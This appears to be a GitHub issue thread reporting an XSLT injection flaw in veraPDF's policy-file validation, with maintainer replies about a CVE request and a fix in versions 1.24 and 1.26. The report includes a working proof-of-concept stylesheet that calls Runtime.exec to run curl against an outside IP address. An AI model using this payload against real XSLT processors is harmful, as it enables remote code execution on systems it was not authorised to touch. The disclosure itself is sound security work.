Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

veraPDF has an XSLT injection vulnerability. #1415

Closed
c1gar opened this issue Mar 1, 2024 · 4 comments
Closed

veraPDF has an XSLT injection vulnerability. #1415

c1gar opened this issue Mar 1, 2024 · 4 comments
Assignees
Milestone

Comments

@c1gar
Copy link

c1gar commented Mar 1, 2024

The issue occurs when clicking the execution button, where users can drag and drop policy files into the area where a policy file is not chosen. These policy files are user-controllable, and during the validation of configuration files, an XSL transformation operation is performed. The XSL file used for this operation is uploaded by the user. Due to veraPDF not setting secure parameters during XSL transformation, this could potentially lead to a remote code execution (RCE) vulnerability.
1111
test.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'curl http://101.200.214.173:8888 ')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet>
Uploading 222).PNG…

@bdoubrov
Copy link
Contributor

bdoubrov commented Mar 1, 2024

@c1gar thanks a lot for pointing us to this issue. To be fixed asap

@c1gar
Copy link
Author

c1gar commented Mar 6, 2024

@c1gar非常感谢您向我们指出这个问题。尽快修复
Thank you for your response. Can you assign a CVE identifier? Assigning a CVE is an encouragement for me to explore the risks of the veraPDF project. I would be very happy if you could assign a CVE identifier.

@carlwilson
Copy link
Contributor

Thank you for your response. Can you assign a CVE identifier? Assigning a CVE is an encouragement for me to explore the risks of the veraPDF project. I would be very happy if you could assign a CVE identifier.

We have filled in the appropriate application and submitted a request that is awaiting review. You are credited as the reporter. We will publish as and when the review process allows. Thanks for reporting this.

@bdoubrov
Copy link
Contributor

The vulnerability is fixed both in 1.24 patch and in the latest 1.26 release. Closing this as done

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants